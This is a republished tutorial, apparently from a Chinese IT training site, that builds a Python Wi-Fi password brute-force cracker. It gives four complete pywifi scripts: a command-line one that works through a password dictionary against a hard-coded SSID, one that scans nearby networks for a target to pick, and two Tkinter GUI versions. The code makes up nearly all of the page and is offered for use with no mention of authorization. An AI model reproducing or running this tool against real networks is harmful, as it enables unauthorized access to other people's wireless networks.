How to Build a Python Wi‑Fi Brute‑Force Cracker (CLI & GUI)
This tutorial walks through creating a Python Wi‑Fi password brute‑force tool, starting with a command‑line script that reads passwords from a dictionary, then adding network scanning for flexibility, and finally wrapping the logic in a Tkinter graphical interface while highlighting potential multithreading improvements.
Introduction
This article records how to implement Wi‑Fi password brute‑force cracking using Python scripts, first with a command‑line version and then with an interactive graphical interface.
Command‑line script (no GUI)
Shows a basic script that uses the pywifi library to test connections against passwords read from a pwd.txt dictionary. The script creates a profile, attempts to connect, reports success or failure, and measures elapsed time.
import pywifi
from pywifi import const
import time
import datetime
# Test connection, return result
def wifiConnect(pwd):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = "Tr0e"
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(2)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
# Read password dictionary
def readPassword():
success = False
print("****************** WIFI破解 ******************")
path = "pwd.txt"
file = open(path, "r")
start = datetime.datetime.now()
while True:
try:
pwd = file.readline()
pwd = pwd.strip('
')
bool = wifiConnect(pwd)
if bool:
print("[*] 密码已破解:", pwd)
print("[*] WiFi已自动连接!!!")
success = True
break
else:
print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s" % ("Tr0e", pwd))
except:
continue
end = datetime.datetime.now()
if success:
print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))
else:
print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")
exit(0)
if __name__ == "__main__":
readPassword()Optimized script (scan & flexible dictionary)
Improves flexibility by scanning nearby Wi‑Fi networks, letting the user choose a target, and prompting for a dictionary path. It sorts networks by signal strength and attempts each password with a timeout, exiting on the first successful connection.
import pywifi
import time
from pywifi import const
# WiFi scanning module
def wifi_scan():
wifi = pywifi.PyWiFi()
interface = wifi.interfaces()[0]
interface.scan()
for i in range(4):
time.sleep(1)
print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')
print('\r扫描完成!
' + '-' * 38)
print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
bss = interface.scan_results()
wifi_name_set = set()
for w in bss:
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
wifi_name_list = sorted(list(wifi_name_set), key=lambda a: a[0], reverse=True)
num = 0
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num += 1
print('-' * 38)
return wifi_name_list
# WiFi cracking module
def wifi_password_crack(wifi_name):
wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")
with open(wifi_dic_path, 'r') as f:
for pwd in f:
pwd = pwd.strip('
')
wifi = pywifi.PyWiFi()
interface = wifi.interfaces()[0]
interface.disconnect()
while interface.status() == 4:
pass
profile = pywifi.Profile()
profile.ssid = wifi_name
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
interface.remove_all_network_profiles()
tmp_profile = interface.add_network_profile(profile)
interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
if interface.status() == 4:
print(f'\r连接成功!密码为:{pwd}')
exit(0)
else:
print(f'\r正在利用密码 {pwd} 尝试破解。', end='')
def main():
exit_flag = 0
while not exit_flag:
try:
print('WiFi万能钥匙'.center(35, '-'))
wifi_list = wifi_scan()
choose_exit_flag = 0
while not choose_exit_flag:
try:
target_num = int(input('请选择你要尝试破解的wifi:'))
if target_num in range(len(wifi_list)):
while not choose_exit_flag:
try:
choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))
if choose.lower() == 'y':
choose_exit_flag = 1
elif choose.lower() == 'n':
break
else:
print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
except ValueError:
print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
else:
print('请重新输入哦(*^▽^*)')
except ValueError:
print('只能输入数字哦o(* ̄︶ ̄*)o')
wifi_password_crack(wifi_list[target_num][1])
print('-' * 38)
exit_flag = 1
except Exception as e:
print(e)
raise e
if __name__ == '__main__':
main()Graphical interface with Tkinter (simple version)
Uses Tkinter to build a small window where the user enters the Wi‑Fi name, reads passwords from pwd.txt, and displays “password correct” or “password incorrect” in a listbox.
from tkinter import *
from pywifi import const
import pywifi
import time
# Main steps:
# 1. Get first wireless adapter
# 2. Disconnect all Wi‑Fi
# 3. Read password file
# 4. Set sleep time
def wificonnect(pwd, wifiname):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
if ifaces.status() == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = wifiname
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.key = pwd
profile.auth = const.AUTH_ALG_OPEN
profile.cipher = const.CIPHER_TYPE_CCMP
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def readPwd():
wifiname = entry.get().strip()
path = r'./pwd.txt'
file = open(path, 'r')
while True:
try:
mystr = file.readline().strip()
bool = wificonnect(mystr, wifiname)
if bool:
text.insert(END, '密码正确' + mystr)
text.see(END)
text.update()
file.close()
break
else:
text.insert(END, '密码错误' + mystr)
text.see(END)
text.update()
except:
continue
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
label = Label(root, text='输入要破解的WIFI名称:')
label.grid()
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
root.mainloop()Enhanced Tkinter UI (tree view, file chooser)
Creates a richer UI with a tree view of scanned networks, a file‑dialog to select the password file, and message boxes to report success. The core logic remains the same: build a profile, connect, wait, and verify the interface status.
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox
class MY_GUI():
def __init__(self, init_window_name):
self.init_window_name = init_window_name
self.get_value = StringVar()
self.get_wifi_value = StringVar()
self.get_wifimm_value = StringVar()
self.wifi = pywifi.PyWiFi()
self.iface = self.wifi.interfaces()[0]
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self):
return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
def set_init_window(self):
self.init_window_name.title("WIFI破解工具")
self.init_window_name.geometry('+500+200')
labelframe = LabelFrame(width=400, height=200, text="配置")
labelframe.grid(column=0, row=0, padx=10, pady=10)
self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)
self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)
self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)
self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)
self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2, sticky=W)
self.wifi_labelframe = LabelFrame(text="wifi列表")
self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
self.wifi_tree.column("a", width=50, anchor="center")
self.wifi_tree.column("b", width=100, anchor="center")
self.wifi_tree.column("c", width=100, anchor="center")
self.wifi_tree.column("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="WiFiID")
self.wifi_tree.heading("b", text="SSID")
self.wifi_tree.heading("c", text="BSSID")
self.wifi_tree.heading("d", text="signal")
self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
self.wifi_tree.bind("<Double-1>", self.onDBClick)
self.vbar.grid(row=4, column=1, sticky=NS)
def scans_wifi_list(self):
print("^_^ 开始扫描附近wifi...")
self.iface.scan()
time.sleep(15)
scanres = self.iface.scan_results()
print("数量: %s" % len(scanres))
self.show_scans_wifi_list(scanres)
return scanres
def show_scans_wifi_list(self, scans_res):
for index, wifi_info in enumerate(scans_res):
self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
def add_mm_file(self):
self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)
def onDBClick(self, event):
self.sels = event.widget.selection()
self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
def readPassWord(self):
self.getFilePath = self.get_value.get()
self.get_wifissid = self.get_wifi_value.get()
pwdfilehander = open(self.getFilePath, "r", errors="ignore")
while True:
try:
self.pwdStr = pwdfilehander.readline()
if not self.pwdStr:
break
self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
if self.bool1:
self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr)
self.get_wifimm_value.set(self.pwdStr)
tkinter.messagebox.showinfo('提示', '破解成功!!!')
print(self.res)
break
else:
self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr)
print(self.res)
time.sleep(3)
except:
continue
def connect(self, pwd_Str, wifi_ssid):
self.profile = pywifi.Profile()
self.profile.ssid = wifi_ssid
self.profile.auth = const.AUTH_ALG_OPEN
self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
self.profile.cipher = const.CIPHER_TYPE_CCMP
self.profile.key = pwd_Str
self.iface.remove_all_network_profiles()
self.tmp_profile = self.iface.add_network_profile(self.profile)
self.iface.connect(self.tmp_profile)
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED:
isOK = True
else:
isOK = False
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
ui.set_init_window()
init_window.mainloop()
if __name__ == "__main__":
gui_start()Conclusion
The article demonstrates both command‑line and Tkinter GUI approaches to Wi‑Fi password brute‑force cracking in Python and notes that incorporating multithreading could reduce the waiting time during connection attempts.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
MaGe Linux Operations
Founded in 2009, MaGe Education is a top Chinese high‑end IT training brand. Its graduates earn 12K+ RMB salaries, and the school has trained tens of thousands of students. It offers high‑pay courses in Linux cloud operations, Python full‑stack, automation, data analysis, AI, and Go high‑concurrency architecture. Thanks to quality courses and a solid reputation, it has talent partnerships with numerous internet firms.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
